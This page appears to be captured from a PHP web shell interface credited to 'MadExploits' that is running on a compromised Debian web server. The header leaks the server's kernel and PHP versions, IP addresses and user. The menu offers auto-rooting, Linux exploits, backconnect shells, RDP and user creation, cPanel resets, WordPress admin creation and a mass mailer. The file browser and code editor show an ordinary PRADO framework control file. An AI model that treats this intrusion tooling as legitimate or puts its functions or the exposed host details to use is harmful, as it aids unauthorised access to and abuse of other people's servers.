Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.221.147.141
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
UI /
JuiControls /
[ HOME SHELL ]
Name
Size
Permission
Action
IJuiOptions.php
635
B
-rw-r--r--
TJuiAutoComplete.php
12.69
KB
-rw-r--r--
TJuiAutoCompleteEventParameter...
1.32
KB
-rw-r--r--
TJuiAutoCompleteTemplate.php
959
B
-rw-r--r--
TJuiCallbackPageStateTracker.p...
1.47
KB
-rw-r--r--
TJuiControlAdapter.php
2.69
KB
-rw-r--r--
TJuiControlOptions.php
4.72
KB
-rw-r--r--
TJuiDatePicker.php
8.36
KB
-rw-r--r--
TJuiDialog.php
5.4
KB
-rw-r--r--
TJuiDialogButton.php
2.54
KB
-rw-r--r--
TJuiDraggable.php
4.25
KB
-rw-r--r--
TJuiDroppable.php
5.57
KB
-rw-r--r--
TJuiEventParameter.php
2.46
KB
-rw-r--r--
TJuiProgressbar.php
3.63
KB
-rw-r--r--
TJuiResizable.php
4.33
KB
-rw-r--r--
TJuiSelectable.php
6.42
KB
-rw-r--r--
TJuiSelectableTemplate.php
952
B
-rw-r--r--
TJuiSlider.php
4.39
KB
-rw-r--r--
TJuiSortable.php
7.77
KB
-rw-r--r--
TJuiSortableTemplate.php
942
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TJuiSelectable.php
<?php /** * TJuiSelectable class file. * * @author Fabio Bas <ctrlaltca[at]gmail[dot]com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Web\UI\JuiControls; use Prado\Web\Javascripts\TJavaScript; use Prado\Web\Javascripts\TJavaScriptLiteral; use Prado\Web\UI\ActiveControls\ICallbackEventHandler; use Prado\Web\UI\ActiveControls\TActivePanel; use Prado\Web\UI\ActiveControls\TCallbackEventParameter; use Prado\Web\UI\TTemplate; use Prado\Web\UI\WebControls\TRepeater; /** * TJuiSelectable class. * * TJuiSelectable is an extension to {@link TActivePanel} based on jQuery-UI's * {@link http://jqueryui.com/selectable/ Selectable} interaction. * TJuiSelectable can be feed a {@link setDataSource DataSource} and will interally * render a {@link TRepeater} that displays items in an unordered list. * Items can be selected by clicking on them, individually or in a group. * * <code> * <style> * .ui-selecting { background: #FECA40; } * .ui-selected { background: #F39814; color: white; } * </style> * <com:TJuiSelectable ID="repeater1" /> * </code> * * <code> * $this->repeater1->DataSource=array('home', 'office', 'car', 'boat', 'plane'); * $this->repeater1->dataBind(); * </code> * @author Fabio Bas <ctrlaltca[at]gmail[dot]com> * @since 3.3 */ class TJuiSelectable extends TActivePanel implements IJuiOptions, ICallbackEventHandler { protected $_options; /** * Creates a new callback control, sets the adapter to * TActiveControlAdapter. If you override this class, be sure to set the * adapter appropriately by, for example, by calling this constructor. */ public function __construct() { parent::__construct(); $this->setAdapter(new TJuiControlAdapter($this)); } /** * @return string the name of the jQueryUI widget method */ public function getWidget() { return 'selectable'; } /** * @return string the clientid of the jQueryUI widget element */ public function getWidgetID() { return $this->getClientID() . '_0'; } /** * Object containing defined javascript options * @return TJuiControlOptions */ public function getOptions() { if (($options = $this->getViewState('JuiOptions')) === null) { $options = new TJuiControlOptions($this); $this->setViewState('JuiOptions', $options); } return $options; } /** * Array containing valid javascript options * @return array */ public function getValidOptions() { return ['appendTo', 'autoRefresh', 'cancel', 'delay', 'disabled', 'distance', 'filter', 'tolerance']; } /** * Array containing valid javascript events * @return array */ public function getValidEvents() { return ['create', 'selected', 'selecting', 'start', 'stop', 'unselected', 'unselecting']; } /** * @return array list of callback options. */ protected function getPostBackOptions() { $options = $this->getOptions()->toArray(); // overload the "OnStop" event to add information about the current selected items if (isset($options['stop'])) { $options['stop'] = new TJavaScriptLiteral('function( event, ui ) { ui.index = new Array(); jQuery(\'#' . $this->getClientID() . ' .ui-selected\').each(function(idx, item){ ui.index.push(item.id) }); Prado.JuiCallback(' . TJavaScript::encode($this->getUniqueID()) . ', \'stop\', event, ui, this); }'); } return $options; } /** * Ensure that the ID attribute is rendered and registers the javascript code * for initializing the active control. * @param mixed $writer */ protected function addAttributesToRender($writer) { parent::addAttributesToRender($writer); $writer->addAttribute('id', $this->getClientID()); $options = TJavaScript::encode($this->getPostBackOptions()); $cs = $this->getPage()->getClientScript(); $code = "jQuery('#" . $this->getWidgetID() . "')." . $this->getWidget() . "(" . $options . ");"; $cs->registerEndScript(sprintf('%08X', crc32($code)), $code); } /** * Raises callback event. This method is required by the {@link ICallbackEventHandler} * interface. * @param TCallbackEventParameter $param the parameter associated with the callback event */ public function raiseCallbackEvent($param) { $this->getOptions()->raiseCallbackEvent($param); } /** * Raises the OnCreate event * @param object $params event parameters */ public function onCreate($params) { $this->raiseEvent('OnCreate', $this, $params); } /** * Raises the OnSelected event * @param object $params event parameters */ public function onSelected($params) { $this->raiseEvent('OnSelected', $this, $params); } /** * Raises the OnSelecting event * @param object $params event parameters */ public function onSelecting($params) { $this->raiseEvent('OnSelecting', $this, $params); } /** * Raises the OnStart event * @param object $params event parameters */ public function onStart($params) { $this->raiseEvent('OnStart', $this, $params); } /** * Raises the OnStop event * @param object $params event parameters */ public function onStop($params) { $this->raiseEvent('OnStop', $this, $params); } /** * Raises the OnUnselected event * @param object $params event parameters */ public function onUnselected($params) { $this->raiseEvent('OnUnselected', $this, $params); } /** * Raises the OnUnselecting event * @param object $params event parameters */ public function onUnselecting($params) { $this->raiseEvent('OnUnselecting', $this, $params); } /** * @var \Prado\Web\UI\ITemplate template for repeater items */ private $_repeater; /** * @param array $data data source for Selectables. */ public function setDataSource($data) { $this->getSelectables()->setDataSource($data); } /** * @return TRepeater suggestion list repeater */ public function getSelectables() { if ($this->_repeater === null) { $this->_repeater = $this->createRepeater(); } return $this->_repeater; } /** * @return TRepeater new instance of TRepater to render the list of Selectables. */ protected function createRepeater() { $repeater = new TRepeater(); $repeater->setHeaderTemplate(new TJuiSelectableTemplate('<ul id="' . $this->getWidgetID() . '">')); $repeater->setFooterTemplate(new TJuiSelectableTemplate('</ul>')); $repeater->setItemTemplate(new TTemplate('<li id="<%# $this->ItemIndex %>"><%# $this->Data %></li>', null)); $repeater->setEmptyTemplate(new TJuiSelectableTemplate('<ul></ul>')); $this->getControls()->add($repeater); return $repeater; } }
Close